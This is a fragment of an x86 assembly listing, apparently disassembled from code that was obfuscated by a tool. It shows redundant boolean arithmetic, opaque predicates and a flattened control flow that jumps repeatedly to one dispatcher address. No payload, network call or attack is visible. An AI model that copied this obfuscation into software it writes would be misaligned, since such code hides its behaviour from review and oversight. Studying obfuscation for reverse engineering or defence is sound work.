mov dh, 1
xor dh, 0
and dh, 1
mov dl, 1
xor dl, 1
mov bl, dl
and bl, 0
mov cl, 1
xor cl, 1
and cl, 0xff
and dl, 1
or dh, bl
or cl, dl
xor dh, cl
mov dl, 1
xor dl, 1
xor dh, 0xff
mov cl, 1
xor cl, 1
or dl, dh
or cl, 1
xor dl, 0xff
and dl, cl
mov bl, 1
xor bl, 1
and bl, 0
mov dh, 1
xor dh, 0
mov bh, dh
and bh, 1
mov cl, 1
xor cl, 1
and cl, 0
and dh, 1
or bl, bh
or cl, dh
xor bl, cl
mov dh, 1
xor dh, 0
xor bl, 0xff
mov cl, 1
xor cl, 0
or dh, bl
or cl, 0
xor dh, 0xff
and dh, cl
mov cl, dl
and cl, dh
xor dl, dh
or cl, dl
mov byte [ebp - 0x7b1], cl
mov cl, al
xor cl, 0xff
and cl, 1
mov dl, 1
xor dl, 1
and al, dl
or cl, al
mov bh, 1
xor bh, 0
and bh, 1
mov dl, 1
xor dl, 1
mov dh, dl
and dh, 0
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or bh, dh
or al, dl
xor bh, al
mov byte [ebp - 0x7e3], bh
mov dl, 1
xor dl, 1
and dl, 1
mov dh, 1
xor dh, 1
mov bl, dh
and bl, 1
mov al, 1
xor al, 1
and al, 0xff
and dh, 1
or dl, bl
or al, dh
xor dl, al
mov dh, cl
xor dh, 0xff
xor bh, 0xff
mov bl, 1
xor bl, 0
mov al, dh
and al, 0
mov byte [ebp - 0x7e2], al
and cl, bl
mov al, bh
and al, 0
mov byte [ebp - 0x7e1], al
mov al, byte [ebp - 0x7e3]
and al, bl
mov byte [ebp - 0x7e0], al
mov al, byte [ebp - 0x7e2]
or al, cl
mov cl, byte [ebp - 0x7e1]
mov byte [ebp - 0x7df], al
mov al, byte [ebp - 0x7e0]
or cl, al
mov al, byte [ebp - 0x7df]
xor al, cl
mov cl, byte [ebp - 0x7de]
or dh, bh
xor dh, 0xff
or bl, 0
and dh, bl
or al, dh
mov bl, dl
and bl, 1
xor dl, 1
or bl, dl
mov dh, al
xor dh, 0xff
and dh, 0
mov bh, 1
xor bh, 0
and al, bh
mov dl, 1
xor dl, 1
and dl, 0
and bh, 1
or dh, al
mov al, byte [ebp - 0x7b1]
or dl, bh
xor dh, dl
xor dh, 0xff
xor bl, 0xff
mov dl, 1
xor dl, 1
or dh, bl
or dl, 1
xor dh, 0xff
and dh, dl
mov bl, al
xor bl, 0xff
and bl, 1
mov dl, 1
xor dl, 1
and al, dl
or bl, al
mov dl, cl
xor dl, 0xff
mov al, bl
and al, dl
xor bl, 0xff
mov dl, cl
and dl, bl
or al, dl
xor cl, 0xff
mov bl, al
xor bl, cl
and bl, al
mov dl, ah
xor dl, 0xff
and dl, 1
mov cl, 1
xor cl, 1
mov al, ah
and al, cl
or dl, al
mov bh, 1
xor bh, 0
and bh, 0
mov cl, 1
xor cl, 0
mov al, cl
and al, 0
mov byte [ebp - 0x7dd], al
mov al, 1
xor al, 1
and al, 0
mov byte [ebp - 0x7dc], al
mov al, byte [ebp - 0x7dd]
and cl, 1
or bh, al
mov al, byte [ebp - 0x7dc]
or al, cl
xor bh, al
mov cl, 1
xor cl, 1
and cl, 1
mov al, 1
xor al, 1
and al, 1
or cl, al
mov al, dl
and al, bh
xor dl, bh
or al, dl
mov byte [ebp - 0x7d7], al
mov bh, 1
xor bh, 1
mov byte [ebp - 0x7d8], bh
mov al, cl
xor al, 0xff
mov byte [ebp - 0x7d9], al
mov dl, 1
xor dl, 1
and bh, 0xff
mov al, dl
and al, 1
mov byte [ebp - 0x7db], al
mov al, byte [ebp - 0x7d9]
and al, 0xff
mov byte [ebp - 0x7da], al
mov al, byte [ebp - 0x7db]
and cl, dl
or bh, al
mov al, byte [ebp - 0x7da]
or al, cl
mov cl, byte [ebp - 0x7d9]
xor bh, al
mov al, byte [ebp - 0x7d8]
or al, cl
mov cl, byte [ebp - 0x7d7]
xor al, 0xff
or dl, 1
and al, dl
or bh, al
mov dl, cl
xor dl, 0xff
and dl, 1
mov al, 1
xor al, 1
and cl, al
mov al, byte [ebp - 0x7b1]
or dl, cl
xor bh, 0xff
mov cl, dl
xor cl, bh
and cl, dl
mov byte [ebp - 0x7d6], cl
mov bh, al
xor bh, 0xff
and bh, 1
mov cl, 1
xor cl, 1
and al, cl
or bh, al
mov dl, ch
xor dl, 0xff
and dl, 1
mov cl, 1
xor cl, 1
mov byte [ebp - 0x7d5], cl
mov al, ch
and al, cl
mov cl, byte [ebp - 0x7d6]
mov byte [ebp - 0x7d4], al
mov al, bh
xor al, 0xff
and al, 0xff
mov byte [ebp - 0x7d3], al
mov al, byte [ebp - 0x7d5]
and bh, al
mov al, byte [ebp - 0x7d4]
or dl, al
mov al, byte [ebp - 0x7d3]
or al, bh
xor dl, al
xor dl, 0xff
xor ch, 0xff
mov al, 1
xor al, 0
or dl, ch
or al, 0
xor dl, 0xff
and dl, al
mov al, dh
xor al, 0xff
mov bh, bl
xor bh, 0xff
mov ch, 1
xor ch, 0
or al, bh
or ch, 0
xor al, 0xff
and al, ch
mov bh, dh
xor bh, 0xff
mov ch, bl
and ch, bh
xor bl, 0xff
and dh, bl
or ch, dh
mov dh, al
and dh, ch
xor al, ch
or dh, al
mov al, cl
xor al, 0xff
and al, 1
mov bl, 1
xor bl, 1
mov ch, cl
and ch, bl
or al, ch
mov byte [ebp - 0x7cd], al
mov al, dl
xor al, 0xff
and al, 0
mov bl, 1
xor bl, 0
mov bh, dl
and bh, bl
mov ch, 1
xor ch, 1
and ch, 0
and bl, 1
or al, bh
or ch, bl
xor al, ch
mov byte [ebp - 0x7d0], al
mov bl, 1
xor bl, 0
and bl, 1
mov al, 1
xor al, 1
mov bh, al
and bh, 0
mov ch, 1
xor ch, 1
and ch, 0xff
and al, 1
or bl, bh
mov bh, byte [ebp - 0x7d0]
or ch, al
mov al, byte [ebp - 0x7cd]
xor bl, ch
mov byte [ebp - 0x7ca], bl
mov ch, 1
xor ch, 0
xor al, ch
mov ch, byte [ebp - 0x7cd]
and al, ch
xor cl, 0xff
xor bl, 0xff
mov ch, 1
xor ch, 0
or cl, bl
or ch, 0
xor cl, 0xff
and cl, ch
mov bl, 1
xor bl, 0
mov ch, bh
xor ch, bl
mov bl, byte [ebp - 0x7ca]
and ch, bh
mov byte [ebp - 0x7ce], ch
xor dl, 0xff
xor bl, 0xff
mov ch, 1
xor ch, 0
or dl, bl
or ch, 0
xor dl, 0xff
and dl, ch
mov ch, al
xor ch, 0xff
mov bl, cl
xor bl, 0xff
mov byte [ebp - 0x7cf], bl
mov bl, 1
xor bl, 0
mov bh, ch
and bh, 0
and al, bl
mov byte [ebp - 0x7d2], al
mov al, byte [ebp - 0x7cf]
and al, 0
mov byte [ebp - 0x7d1], al
mov al, byte [ebp - 0x7d2]
and cl, bl
or bh, al
mov al, byte [ebp - 0x7d1]
or al, cl
mov cl, byte [ebp - 0x7d0]
xor bh, al
mov al, byte [ebp - 0x7cf]
or ch, al
mov al, byte [ebp - 0x7ce]
xor ch, 0xff
or bl, 0
and ch, bl
or bh, ch
mov bl, al
and bl, dl
xor al, dl
or bl, al
mov dl, bh
xor dl, 0xff
and dl, 0
mov al, 1
xor al, 0
and bh, al
mov ch, bl
xor ch, 0xff
and ch, 0
and bl, al
mov al, byte [ebp - 0x7cd]
or dl, bh
or ch, bl
xor dl, ch
mov byte [ebp - 0x7c9], dl
mov dl, al
xor dl, 0xff
mov bh, cl
xor bh, 0xff
mov ch, 1
xor ch, 1
mov bl, dl
and bl, 0xff
and al, ch
mov byte [ebp - 0x7cc], al
mov al, bh
and al, 0xff
mov byte [ebp - 0x7cb], al
mov al, byte [ebp - 0x7cc]
and cl, ch
or bl, al
mov al, byte [ebp - 0x7cb]
or al, cl
mov cl, byte [ebp - 0x7ca]
xor bl, al
mov al, byte [ebp - 0x7c9]
or dl, bh
xor dl, 0xff
or ch, 1
and dl, ch
or bl, dl
mov bh, bl
xor bh, 0xff
and bh, 0
mov ch, 1
xor ch, 0
and bl, ch
mov dl, 1
xor dl, 1
and dl, 0
and ch, 1
or bh, bl
or dl, ch
xor bh, dl
mov dl, cl
and dl, 0
xor cl, 0
or dl, cl
xor bh, 0xff
xor dl, 0xff
mov cl, 1
xor cl, 0
or bh, dl
or cl, 0
xor bh, 0xff
and bh, cl
mov dl, al
xor dl, 0xff
mov byte [ebp - 0x7c8], dl
mov ch, bh
xor ch, 0xff
mov cl, 1
xor cl, 0
and dl, 0
and al, cl
mov bl, ch
and bl, 0
and bh, cl
or dl, al
mov al, byte [ebp - 0x7c8]
or bl, bh
xor dl, bl
or al, ch
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov ch, dh
xor ch, 0xff
and ch, 1
mov cl, 1
xor cl, 1
mov bl, dh
and bl, cl
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or ch, bl
or al, cl
xor ch, al
xor ch, 0xff
xor ch, 0
and ch, 0
mov bl, 1
xor bl, 0
and bl, 0
mov cl, 1
xor cl, 0
mov bh, cl
and bh, 0
mov al, 1
xor al, 1
and al, 0
and cl, 1
or bl, bh
or al, cl
xor bl, al
xor dh, 0xff
mov cl, bl
xor cl, 0xff
mov al, 1
xor al, 1
or dh, cl
or al, 1
xor dh, 0xff
and dh, al
mov bh, dl
xor bh, 0xff
and bh, 0
mov cl, 1
xor cl, 0
mov al, dl
and al, cl
mov byte [ebp - 0x7c7], al
mov al, 1
xor al, 1
and al, 0
mov byte [ebp - 0x7c6], al
mov al, byte [ebp - 0x7c7]
and cl, 1
or bh, al
mov al, byte [ebp - 0x7c6]
or al, cl
mov cl, byte [ebp - 0x7c5]
xor bh, al
xor bh, 0xff
mov al, 1
xor al, 0
mov byte [ebp - 0x7c4], al
mov al, 1
xor al, 1
mov byte [ebp - 0x7c3], al
mov al, byte [ebp - 0x7c4]
or bh, al
mov al, byte [ebp - 0x7c3]
or al, 1
xor bh, 0xff
and bh, al
xor bl, 0xff
mov al, dl
xor al, bl
and al, dl
mov dl, ch
and dl, dh
xor ch, dh
or dl, ch
mov byte [ebp - 0x7c0], dl
mov ch, bh
xor ch, 0xff
mov bl, al
xor bl, 0xff
mov dh, 1
xor dh, 1
mov dl, ch
and dl, 0xff
and bh, dh
mov byte [ebp - 0x7c2], bh
mov bh, bl
and bh, 0xff
and al, dh
mov byte [ebp - 0x7c1], al
mov al, byte [ebp - 0x7c2]
or dl, al
mov al, byte [ebp - 0x7c1]
or bh, al
mov al, byte [ebp - 0x7c0]
xor dl, bh
or ch, bl
xor ch, 0xff
or dh, 1
and ch, dh
or dl, ch
mov ch, al
xor ch, 0xff
mov dh, dl
and dh, ch
xor dl, 0xff
and al, dl
or dh, al
mov al, cl
xor al, 0xff
and al, 1
mov ch, 1
xor ch, 1
mov bl, cl
and bl, ch
mov dl, 1
xor dl, 1
and dl, 0xff
and ch, 1
or al, bl
or dl, ch
xor al, dl
mov byte [ebp - 0x7b9], al
mov dl, ah
xor dl, 0xff
and dl, 1
mov ch, 1
xor ch, 1
mov al, ah
and al, ch
or dl, al
mov bl, 1
xor bl, 1
and bl, 1
mov bh, 1
xor bh, 1
mov ch, bh
and ch, 1
mov al, 1
xor al, 1
and al, 0xff
and bh, 1
or bl, ch
mov ch, byte [ebp - 0x7b9]
or al, bh
xor bl, al
mov byte [ebp - 0x7b7], bl
mov bh, 1
xor bh, 1
mov al, ch
xor al, bh
and al, ch
xor cl, 0xff
mov bh, bl
xor bh, 0xff
mov ch, 1
xor ch, 1
or cl, bh
or ch, 1
xor cl, 0xff
and cl, ch
mov bh, 1
xor bh, 1
mov ch, dl
xor ch, bh
and ch, dl
mov byte [ebp - 0x7bc], ch
xor ah, 0xff
xor bl, 0xff
mov ch, 1
xor ch, 1
or ah, bl
or ch, 1
xor ah, 0xff
and ah, ch
mov byte [ebp - 0x7bd], ah
mov ah, al
xor ah, 0xff
mov bl, cl
xor bl, 0xff
mov ch, 1
xor ch, 1
mov bh, ah
and bh, 0xff
and al, ch
mov byte [ebp - 0x7bf], al
mov al, bl
and al, 0xff
mov byte [ebp - 0x7be], al
mov al, byte [ebp - 0x7bf]
and cl, ch
or bh, al
mov al, byte [ebp - 0x7be]
or al, cl
mov cl, byte [ebp - 0x7bd]
xor bh, al
mov al, byte [ebp - 0x7bc]
or ah, bl
xor ah, 0xff
or ch, 1
and ah, ch
or bh, ah
mov bl, al
xor bl, 0xff
mov byte [ebp - 0x7b8], bl
mov ch, cl
xor ch, 0xff
mov ah, 1
xor ah, 1
and bl, 0xff
and al, ah
mov byte [ebp - 0x7bb], al
mov al, ch
and al, 0xff
mov byte [ebp - 0x7ba], al
mov al, byte [ebp - 0x7bb]
and cl, ah
or bl, al
mov al, byte [ebp - 0x7ba]
or al, cl
mov cl, byte [ebp - 0x7b9]
xor bl, al
mov al, byte [ebp - 0x7b8]
or al, ch
xor al, 0xff
or ah, 1
and al, ah
or bl, al
mov ah, bh
xor ah, 0xff
and ah, 0
mov al, 1
xor al, 0
and bh, al
mov ch, bl
xor ch, 0xff
and ch, 0
and bl, al
mov al, byte [ebp - 0x7b7]
or ah, bh
or ch, bl
xor ah, ch
mov byte [ebp - 0x7b4], ah
mov ch, cl
and ch, dl
xor cl, dl
or ch, cl
mov dl, ch
xor dl, 0xff
and dl, 0
mov ah, 1
xor ah, 0
and ch, ah
mov cl, 1
xor cl, 1
and cl, 0
and ah, 1
or dl, ch
or cl, ah
xor dl, cl
mov cl, 1
xor cl, 1
mov bl, al
xor bl, 0xff
mov ch, 1
xor ch, 0
mov ah, cl
and ah, 0
mov bh, ch
and bh, 1
mov byte [ebp - 0x7b6], bh
mov bh, bl
and bh, 0
and al, ch
mov byte [ebp - 0x7b5], al
mov al, byte [ebp - 0x7b6]
or ah, al
mov al, byte [ebp - 0x7b5]
or bh, al
mov al, byte [ebp - 0x7b4]
xor ah, bh
or cl, bl
xor cl, 0xff
or ch, 0
and cl, ch
or ah, cl
xor ah, 0xff
mov cl, dl
xor cl, ah
and cl, dl
mov ah, al
and ah, cl
xor al, cl
or ah, al
mov dl, ah
xor dl, 0xff
and dl, 1
mov cl, 1
xor cl, 1
mov al, ah
and al, cl
or dl, al
mov cl, 1
xor cl, 0
xor dl, 0xff
mov al, 1
xor al, 1
or cl, dl
or al, 1
xor cl, 0xff
and cl, al
mov al, 1
xor al, 0
and al, 1
mov dl, 1
xor dl, 1
and dl, 0
or al, dl
mov ch, al
xor ch, 0xff
mov dl, ah
xor dl, ch
and dl, ah
mov ah, 1
xor ah, 1
and ah, 1
mov ch, 1
xor ch, 1
and ch, 1
or ah, ch
mov ch, 1
xor ch, 0
mov bh, ah
xor bh, ch
and bh, ah
xor al, 0xff
xor al, 1
and al, 0xff
mov ch, cl
and ch, dl
xor cl, dl
or ch, cl
mov cl, bh
xor cl, 0xff
mov bl, al
xor bl, 0xff
mov dl, 1
xor dl, 1
mov ah, cl
and ah, 0xff
and bh, dl
mov byte [ebp - 0x7b3], bh
mov bh, bl
and bh, 0xff
and al, dl
mov byte [ebp - 0x7b2], al
mov al, byte [ebp - 0x7b3]
or ah, al
mov al, byte [ebp - 0x7b2]
or bh, al
mov al, byte [ebp - 0x7b1]
xor ah, bh
or cl, bl
xor cl, 0xff
or dl, 1
and cl, dl
or ah, cl
mov dl, ch
xor dl, 0xff
and dl, 1
mov bl, 1
xor bl, 1
and ch, bl
mov cl, ah
xor cl, 0xff
and cl, 0xff
and ah, bl
or dl, ch
or cl, ah
xor dl, cl
mov cl, al
xor cl, 0xff
xor cl, 0
and cl, 0
mov ch, 1
xor ch, 0
mov ah, al
and ah, ch
xor al, 0xff
and al, 0
or ah, al
mov al, cl
and al, ah
xor cl, ah
or al, cl
mov cl, dl
xor cl, 0xff
and cl, 1
mov ah, 1
xor ah, 1
and dl, ah
or cl, dl
mov dl, al
xor dl, 0xff
and dl, 1
mov ah, 1
xor ah, 1
and al, ah
or dl, al
mov bh, 1
xor bh, 0
and bh, 1
mov al, 1
xor al, 1
and al, 0
or bh, al
mov al, cl
and al, dl
xor cl, dl
or al, cl
mov byte [ebp - 0x7b0], al
mov dl, 1
xor dl, 0
mov ch, bh
xor ch, 0xff
mov ah, 1
xor ah, 1
mov cl, dl
and cl, 0xff
mov al, ah
and al, 0
mov bl, ch
and bl, 0xff
and bh, ah
or cl, al
mov al, byte [ebp - 0x7b0]
or bl, bh
xor cl, bl
or dl, ch
xor dl, 0xff
or ah, 1
and dl, ah
or cl, dl
mov ah, al
xor ah, 0xff
and ah, 1
mov dl, 1
xor dl, 1
and al, dl
or ah, al
xor ah, 0xff
xor cl, 0xff
mov al, 1
xor al, 1
or ah, cl
or al, 1
xor ah, 0xff
and ah, al
mov al, dh
xor al, 0xff
and al, 1
mov dl, 1
xor dl, 1
mov cl, dh
and cl, dl
or al, cl
mov byte [ebp - 0x7ad], al
mov dl, ah
xor dl, 0xff
and dl, 1
mov ch, 1
xor ch, 1
mov bl, ah
and bl, ch
mov cl, 1
xor cl, 1
and cl, 0xff
and ch, 1
or dl, bl
or cl, ch
xor dl, cl
mov bh, 1
xor bh, 1
and bh, 1
mov ch, 1
xor ch, 1
mov bl, ch
and bl, 1
mov cl, 1
xor cl, 1
and cl, 0xff
and ch, 1
or bh, bl
or cl, ch
xor bh, cl
mov cl, 1
xor cl, 1
mov ch, al
xor ch, cl
and ch, al
xor dh, 0xff
mov cl, bh
xor cl, 0xff
mov al, 1
xor al, 0
or dh, cl
or al, 0
xor dh, 0xff
and dh, al
mov cl, 1
xor cl, 1
mov al, dl
xor al, cl
and al, dl
mov bl, bh
xor bl, 0xff
mov cl, ah
xor cl, bl
and cl, ah
mov ah, ch
and ah, dh
xor ch, dh
or ah, ch
mov ch, al
xor ch, 0xff
mov byte [ebp - 0x7ac], ch
mov bl, cl
xor bl, 0xff
mov dh, 1
xor dh, 0
and ch, 0
and al, dh
mov byte [ebp - 0x7af], al
mov al, bl
and al, 0
mov byte [ebp - 0x7ae], al
mov al, byte [ebp - 0x7af]
and cl, dh
or ch, al
mov al, byte [ebp - 0x7ae]
or al, cl
mov cl, byte [ebp - 0x7ad]
xor ch, al
mov al, byte [ebp - 0x7ac]
or al, bl
xor al, 0xff
or dh, 0
and al, dh
or ch, al
mov dh, ah
xor dh, 0xff
mov al, ch
and al, dh
xor ch, 0xff
and ah, ch
or al, ah
mov byte [ebp - 0x7ab], al
mov al, cl
and al, dl
xor cl, dl
or al, cl
mov dl, al
xor dl, 0xff
and dl, 1
mov cl, 1
xor cl, 1
and al, cl
or dl, al
mov cl, 1
xor cl, 1
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 1
mov ah, cl
and ah, 0xff
mov al, ch
and al, 1
mov bl, dh
and bl, 0xff
and bh, ch
or ah, al
mov al, byte [ebp - 0x7ab]
or bl, bh
xor ah, bl
or cl, dh
xor cl, 0xff
or ch, 1
and cl, ch
or ah, cl
xor ah, 0xff
mov cl, dl
xor cl, ah
and cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xab02aebd
mov ecx, 0x8f2df92d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x43690c
mov ecx, dword [0x511348]
mov eax, dword [0x511344]
mov edi, 0x6f578e6f
add edi, 0
sub edi, 0x904eff26
sub edi, 0x6f578e6f
xor esi, esi
sub esi, ecx
xor edx, edx
sub edx, edi
add esi, edx
xor edx, edx
sub edx, esi
add edx, 0x5b65f13
sub edx, 0xbb101e9d
sub edx, 0x5b65f13
sub edx, 0x9aadadbb
sub edx, 1
add edx, 0x9aadadbb
add edx, 0x94f47219
add edx, 0xbb101e9d
sub edx, 0x94f47219
add edx, 0x7d4c10d8
sub edx, 0x5a9bb9b6
sub edx, 0x7d4c10d8
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, 0x904eff26
add esi, edx
xor edx, edx
sub edx, esi
xor esi, esi
sub esi, 0x5a9bb9b6
sub edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete dh
cmp eax, 0xa
setl dl
mov ah, dh
xor ah, 0xff
and ah, 1
mov cl, 1
xor cl, 1
mov al, dh
and al, cl
or ah, al
mov ch, dl
xor ch, 0xff
and ch, 0
mov cl, 1
xor cl, 0
mov bl, dl
and bl, cl
mov al, 1
xor al, 1
and al, 0
and cl, 1
or ch, bl
or al, cl
xor ch, al
mov al, 1
xor al, 0
and al, 1
mov cl, 1
xor cl, 1
and cl, 0
or al, cl
mov cl, ah
and cl, ch
xor ah, ch
or cl, ah
mov byte [ebp - 0x7eb], cl
mov cl, 1
xor cl, 0
mov bl, al
xor bl, 0xff
mov ch, 1
xor ch, 1
mov ah, cl
and ah, 0xff
mov bh, ch
and bh, 0
mov byte [ebp - 0x7ed], bh
mov bh, bl
and bh, 0xff
and al, ch
mov byte [ebp - 0x7ec], al
mov al, byte [ebp - 0x7ed]
or ah, al
mov al, byte [ebp - 0x7ec]
or bh, al
mov al, byte [ebp - 0x7eb]
xor ah, bh
or cl, bl
xor cl, 0xff
or ch, 1
and cl, ch
or ah, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov ch, 1
xor ch, 1
and al, ch
or cl, al
xor ah, 0xff
mov al, cl
xor al, ah
and al, cl
mov byte [ebp - 0x7ea], al
mov ah, dh
xor ah, 0xff
and ah, 1
mov cl, 1
xor cl, 1
mov al, dh
and al, cl
or ah, al
xor ah, 0xff
xor ah, 1
and ah, 0xff
mov bl, 1
xor bl, 1
and bl, 1
mov al, 1
xor al, 1
and al, 1
or bl, al
xor dh, 0xff
mov cl, bl
xor cl, 0xff
mov al, 1
xor al, 0
or dh, cl
or al, 0
xor dh, 0xff
and dh, al
mov ch, dl
xor ch, 0xff
and ch, 1
mov bh, 1
xor bh, 1
mov al, dl
and al, bh
mov cl, 1
xor cl, 1
and cl, 0xff
and bh, 1
or ch, al
mov al, byte [ebp - 0x7ea]
or cl, bh
xor ch, cl
mov bh, 1
xor bh, 1
mov cl, ch
xor cl, bh
and cl, ch
xor dl, 0xff
xor bl, 0xff
mov ch, 1
xor ch, 1
or dl, bl
or ch, 1
xor dl, 0xff
and dl, ch
mov ch, ah
and ch, dh
xor ah, dh
or ch, ah
mov ah, cl
and ah, dl
xor cl, dl
or ah, cl
mov cl, ch
xor cl, 0xff
and cl, 1
mov dh, 1
xor dh, 1
and ch, dh
mov dl, ah
xor dl, 0xff
and dl, 0xff
and ah, dh
or cl, ch
or dl, ah
xor cl, dl
mov dl, al
xor dl, 0xff
and dl, 1
mov ch, 1
xor ch, 1
mov ah, al
and ah, ch
or dl, ah
mov byte [ebp - 0x7e6], dl
mov dh, cl
xor dh, 0xff
and dh, 0
mov ch, 1
xor ch, 0
mov bl, cl
and bl, ch
mov ah, 1
xor ah, 1
and ah, 0
and ch, 1
or dh, bl
or ah, ch
xor dh, ah
mov bh, 1
xor bh, 1
and bh, 0
mov ch, 1
xor ch, 0
mov bl, ch
and bl, 1
mov ah, 1
xor ah, 1
and ah, 0
and ch, 1
or bh, bl
or ah, ch
xor bh, ah
xor dl, 0xff
mov ch, 1
xor ch, 1
mov ah, 1
xor ah, 0
or dl, ch
or ah, 0
xor dl, 0xff
and dl, ah
mov ah, bh
xor ah, 0xff
mov ch, al
xor ch, ah
and ch, al
mov al, dh
xor al, 0xff
mov bl, 1
xor bl, 1
mov ah, 1
xor ah, 0
or al, bl
or ah, 0
xor al, 0xff
and al, ah
xor cl, 0xff
mov bl, bh
xor bl, 0xff
mov ah, 1
xor ah, 0
or cl, bl
or ah, 0
xor cl, 0xff
and cl, ah
mov ah, dl
and ah, ch
xor dl, ch
or ah, dl
mov dl, al
xor dl, 0xff
mov byte [ebp - 0x7e7], dl
mov bl, cl
xor bl, 0xff
mov ch, 1
xor ch, 1
and dl, 0xff
and al, ch
mov byte [ebp - 0x7e9], al
mov al, bl
and al, 0xff
mov byte [ebp - 0x7e8], al
mov al, byte [ebp - 0x7e9]
and cl, ch
or dl, al
mov al, byte [ebp - 0x7e8]
or al, cl
mov cl, byte [ebp - 0x7e7]
xor dl, al
mov al, byte [ebp - 0x7e6]
or cl, bl
xor cl, 0xff
or ch, 1
and cl, ch
or dl, cl
mov bl, ah
xor bl, 0xff
and bl, 0
mov ch, 1
xor ch, 0
and ah, ch
mov cl, dl
xor cl, 0xff
and cl, 0
and dl, ch
or bl, ah
or cl, dl
xor bl, cl
mov cl, al
xor cl, 0xff
mov byte [ebp - 0x7e5], cl
mov ah, dh
xor ah, 0xff
mov dl, 1
xor dl, 0
and cl, 0
and al, dl
mov ch, ah
and ch, 0
and dh, dl
or cl, al
mov al, byte [ebp - 0x7e5]
or ch, dh
xor cl, ch
or al, ah
xor al, 0xff
or dl, 0
and al, dl
or cl, al
mov al, cl
xor al, 0xff
and al, 1
mov dl, 1
xor dl, 1
and cl, dl
or al, cl
mov byte [ebp - 0x7e4], al
mov dl, 1
xor dl, 1
mov ch, bh
xor ch, 0xff
mov ah, 1
xor ah, 0
mov cl, dl
and cl, 0
mov al, ah
and al, 1
mov dh, ch
and dh, 0
and bh, ah
or cl, al
mov al, byte [ebp - 0x7e4]
or dh, bh
xor cl, dh
or dl, ch
xor dl, 0xff
or ah, 0
and dl, ah
or cl, dl
xor cl, 0xff
mov dh, al
xor dh, cl
and dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xab02aebd
mov ecx, 0x5d75e5f2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x43690c
mov dword [ebp - 0x1a8], 0xab5e85b7
jmp 0x43690c
mov ecx, dword [0x511348]
mov eax, dword [0x511344]
mov edx, ecx
sub edx, 0x851409d1
sub edx, 0x83b86c10
add edx, 0x851409d1
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, 0xdfb07e06
add esi, edx
xor edx, edx
sub edx, esi
xor esi, esi
sub esi, 0x83b86c10
sub edx, esi
xor edi, edi
sub edi, 1
add edi, 0
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, edi
add esi, edx
xor edx, edx
sub edx, esi
xor esi, esi
sub esi, 0xc8680479
sub edx, esi
sub edx, 0xa13fefcb
sub edx, 0xdfb07e06
add edx, 0xa13fefcb
add edx, 0x6f4e761e
sub edx, 0xc8680479
sub edx, 0x6f4e761e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
mov byte [ebp - 0x853], cl
cmp eax, 0xa
setl al
mov byte [ebp - 0x84e], al
mov al, cl
xor al, 0xff
and al, 1
mov ah, 1
xor ah, 1
mov ch, cl
and ch, ah
mov dl, 1
xor dl, 1
and dl, 0xff
and ah, 1
or al, ch
or dl, ah
xor al, dl
xor al, 0xff
xor al, 1
and al, 0xff
mov ah, 1
xor ah, 1
and ah, 1
mov ch, 1
xor ch, 1
mov dh, ch
and dh, 1
mov dl, 1
xor dl, 1
and dl, 0xff
and ch, 1
or ah, dh
or dl, ch
xor ah, dl
mov ch, ah
xor ch, 0xff
mov dl, cl
xor dl, ch
and dl, cl
mov cl, 1
xor cl, 1
and cl, 1
mov ch, 1
xor ch, 1
and ch, 1
or cl, ch
xor cl, 0xff
mov dh, 1
xor dh, 1
mov ch, 1
xor ch, 1
or cl, dh
or ch, 1
xor cl, 0xff
and cl, ch
mov byte [ebp - 0x856], cl
mov ch, 1
xor ch, 1
xor ah, 0xff
mov cl, 1
xor cl, 0
or ch, ah
or cl, 0
xor ch, 0xff
and ch, cl
mov cl, al
xor cl, 0xff
mov bl, dl
xor bl, 0xff
mov dh, 1
xor dh, 1
mov ah, cl
and ah, 0xff
and al, dh
mov bh, bl
and bh, 0xff
and dl, dh
or ah, al
mov al, byte [ebp - 0x856]
or bh, dl
mov dl, byte [ebp - 0x84e]
xor ah, bh
or cl, bl
xor cl, 0xff
or dh, 1
and cl, dh
or ah, cl
mov cl, al
and cl, ch
xor al, ch
or cl, al
mov ch, ah
xor ch, 0xff
and ch, 0
mov dh, 1
xor dh, 0
and ah, dh
mov al, cl
xor al, 0xff
and al, 0
and cl, dh
or ch, ah
or al, cl
xor ch, al
mov al, dl
xor al, 0xff
and al, 1
mov ah, 1
xor ah, 1
mov cl, dl
and cl, ah
or al, cl
xor al, 0xff
xor al, 1
and al, 0xff
mov ah, 1
xor ah, 1
and ah, 1
mov cl, 1
xor cl, 1
and cl, 1
or ah, cl
xor ah, 0xff
mov cl, dl
xor cl, ah
and cl, dl
mov ah, al
and ah, cl
xor al, cl
or ah, al
mov cl, 1
xor cl, 1
and cl, 0
mov dl, 1
xor dl, 0
mov dh, dl
and dh, 1
mov al, 1
xor al, 1
and al, 0
and dl, 1
or cl, dh
or al, dl
xor cl, al
mov dl, 1
xor dl, 0
xor cl, 0xff
mov al, 1
xor al, 1
or dl, cl
or al, 1
xor dl, 0xff
and dl, al
mov cl, 1
xor cl, 0
and cl, 1
mov al, 1
xor al, 1
and al, 0
or cl, al
mov dh, 1
xor dh, 1
mov bl, cl
xor bl, 0xff
mov al, 1
xor al, 1
or dh, bl
or al, 1
xor dh, 0xff
and dh, al
mov al, 1
xor al, 1
and al, 1
mov bl, 1
xor bl, 1
and bl, 1
or al, bl
xor al, 0xff
mov bh, 1
xor bh, 0
mov bl, 1
xor bl, 1
or al, bh
or bl, 1
xor al, 0xff
and al, bl
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov bl, dl
and bl, dh
xor dl, dh
or bl, dl
mov dh, al
xor dh, 0xff
mov byte [ebp - 0x852], dh
mov bh, cl
xor bh, 0xff
